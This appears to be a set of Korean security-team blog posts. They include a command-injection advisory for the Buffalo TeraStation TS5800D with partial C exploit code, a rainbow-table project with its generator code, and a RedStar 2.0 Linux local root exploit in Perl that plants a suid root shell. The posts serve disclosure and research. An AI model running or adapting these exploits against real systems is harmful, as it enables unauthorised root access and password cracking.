fork()를 사용하여 프로세스 별로 해시 데이터를 생성하도록 했는데 전체적으로 시스템에도 크게 지장을 주지 않는 범위내에서 실행되고 있는 것 같습니다.


오늘부터 OS X는 사무실 한 곳에서 묵묵히 그리고 쉼 없이.. 해시 데이터를 생성하게 되겠네요..

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


Rainbow Table

CR@K 이야기 2013. 4. 22. 22:24 Posted by TEAMCR@K

2012년 연말을 기점으로 저희 팀에 새 식구가 하나 늘었습니다.


동수?.....

는 아니고요...


Buffalo NAS 장비 입니다.

아래 보이는 바로 요 놈 입니다.


Buffalo NAS 장비


요 NAS 장비는 총 12TB 정도의 여유를 가지고 있습니다.

이 여유공간을 어떻게 활용할까 곰곰히 생각해 보다가 Rainbow Table로 일부 활용 해 보기로 했습니다.


DB Schema를 작성하고, DBMS를 구동하고

또 쉼 없이 데이터를 생성하는 프로그램도 작성해서 돌려봅니다.

데이터 작성만 해서는 의미가 없습니다.

작성된 데이터를 활용해 웹에서 해시를 검색하는 웹 UI도 만들어 봅니다.


아래는 만들어진 Rainbow 테이블을 서치 해 볼 수 있는 화면입니다.



일반 평문은 약 3억개 정도이며 각 해시 데이터들이 그 뒤를 잇고 있습니다.

평문에 먼저 데이터를 쌓도록 해 놓은 것이 주로 알파벳 26자와 숫자로 이루어진 단어들이며, 후일에 숫자만으로 된 데이터들도 추가했습니다.

현재 숫자 데이터는 8자리 숫자 데이터까지 검색 가능합니다.


이렇게 써 보다가 약간은 불편한게 생겼습니다.

해시 데이터가 다수 일 때...

물론 삽질을 좋아하는 누군가는 일일이 하나하나의 해시를 검색하고 그 결과를 보는것으로 만족 할 지 모릅니다.

하지만 역시 불편합니다.

그래서 해시 데이터를 파일로 업로드하여 검색하는 기능도 추가했습니다.


일단 해당 기능을 테스트 하기 위해 일반 단어사전을 생성합니다.

리눅스에 기본적으로 존재하는 단어사전에서 그 단어들을 100개 정도 추립니다.



이것을 기준으로 약 100개의 SHA-1 해시를 생성해 봅니다.



해당 데이터를 웹에 업로드 하여 테스트 해 봅니다.



DB에서 찾을 수 있는 해시보다 찾지 못하는 해시가 아직은 더 많습니다.


아래는 레인보우 테이블을 생성하는 코드 중 일부입니다.


>>> snip <<<


pthread_t threads[MAX_THREAD];

int is_interrupt = -1;

int is_pause = -1;

int is_failed = -1;


unsigned char lower_case[] = {

    'a','b','c','d','e','f','g','h','i','j',

    'k','l','m','n','o','p','q','r','s','t',

    'u','v','w','x','y','z', '\0'

};

unsigned char upper_case[] = {

    'A','B','C','D','E','F','G','H','I','J',

    'K','L','M','N','O','P','Q','R','S','T',

    'U','V','W','X','Y','Z', '\0'

};

unsigned char number_case[] = {

    '0','1','2','3','4','5','6','7','8','9', '\0' // 10

};

unsigned char special_case[] = {

    '`','~','!','@','#','$','%','^','&','*',

    '(',')','-','_','=','+','[','{',']','}',

    '\\','|',';',':','\'','"',',','<','.','>',

    '/','?', '\0'

};


unsigned char base[128];


>>> snip <<<


        memset(init_pass, 0x00, sizeof(init_pass));


        for(i = s; i < e; i++) {
            max += pow(count, i) + 0.0;
        }

        for(i = 0; i < max + s; i++) {
            j = 0;
            while(base[j] != '\0') {
                memset(pass, 0x00, sizeof(pass));
                init_pass[sizeof(init_pass) - 1] = init_pass[sizeof(init_pass) - 1] + 1;
                idx = 0;
                for(k = 0; k < sizeof(init_pass); k++) {
                    if(init_pass[k] != '\0') {
                        if(base[init_pass[k] - 1] == '\'') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        if(base[init_pass[k] - 1] == '\\') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        pass[idx] = base[init_pass[k] - 1];
                        idx++;
                    }
                }
                //fprintf(stdout, "[%.0f] Pass: %s\n", total, pass);
                snprintf(sql, sizeof(sql), "INSERT INTO %s(value) VALUES('%s')", info->tblname, pass);
                j++;
                total++;
                if(mysql_query(conn, sql)) {
                    //fprintf(stdout, "%s\n", mysql_error(conn));
                    continue;
                }
            }
>>> snip <<<


지속적으로 데이터를 축적해 나가다 보면 언젠가는 쓸만한 레인보우 테이블이 될 것 같습니다.


N.Korea RedStar 2.0 Incorrect permission local root exploit


TeamCR@K


개요

북한에서 개량하여 배포한 일명 ‘붉은별 리눅스’는 현재 2.0 버전까지 배포되는 것으로 알려지고 있으며, P2P 공유 사이트 등으로 다운로드 받아 설치 해 볼 수 있다. 해당 리눅스 OS 는 CD를 배포할 때 설정상의 문제점이 존재하여 이를 이용해 일반 사용자가 관리자 권한을 획득할 수 있다.


상세설명

리눅스 시스템은 보통 glibc라는 라이브러리 환경에 종속되는데, glibc 라이브러리 내에는 공유라이브러리(shared library)로 대표되는 라이브러리들이 포함된다. 보통 프로그램 기동 시, 많이 사용되는 대표적인 함수들의 구현은 전부 본 glibc의 공유라이브러리에서 담당하게 된다. 

 



[그림 1] glibc 라이브러리에 포함되는 ‘C library functions’


(발췌: Advanced Programming in the Unix Environment)


위 그림에 표현되어 있는 ‘C library functions’가 바로 glibc 라이브러리의 역할을 나타내며 리눅스 시스템에서 kernel 다음으로 중요한 위치를 차지한다는 것을 알 수 있다. 이런 중요한 역할을 하는 glibc 라이브러리는 기본적으로 시스템 관리자(root)만 쓰고 지울 수 있는 권한을 갖게 되는데 ‘붉은별 리눅스’는 일반 사용자도 그 내용을 쓰고 지울 수 있게 되어 있어 이를 이용해 일반 사용자가 관리권한을 획득 할 수 있다.

본 라이브러리의 잘못된 설정권한을 이용해 일반 사용자가 관리자 권한을 획득 할 수 있는 시나리오로 다음과 같은 구상이 가능하다.


1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득


다음은 위 시나리오를 자동화 한 프로그램 소스코드의 일부이다.


#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;


my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".


-- > snip <--


my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}


if($success == 0) {

print "\n[!] Exploit failed.\n";

}


cleanup:

print "[*] Cleanup!\n";


unlink($backupfile);

unlink($evil_bin);


if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}


exit(0);


다음은 위 소스코드를 이용해 일반 사용자가 관리 권한을 획득하는 화면이다.



[그림 2] exploit을 이용해 일반 사용자가 관리권한을 획득하는 화면


테스트에 사용된 OS의 버전은 2.0, ISO 이미지의 MD5 Checksum 값은 다음과 같다.

7ba35ae027787a9aa0013695a97c110c RS2.ISO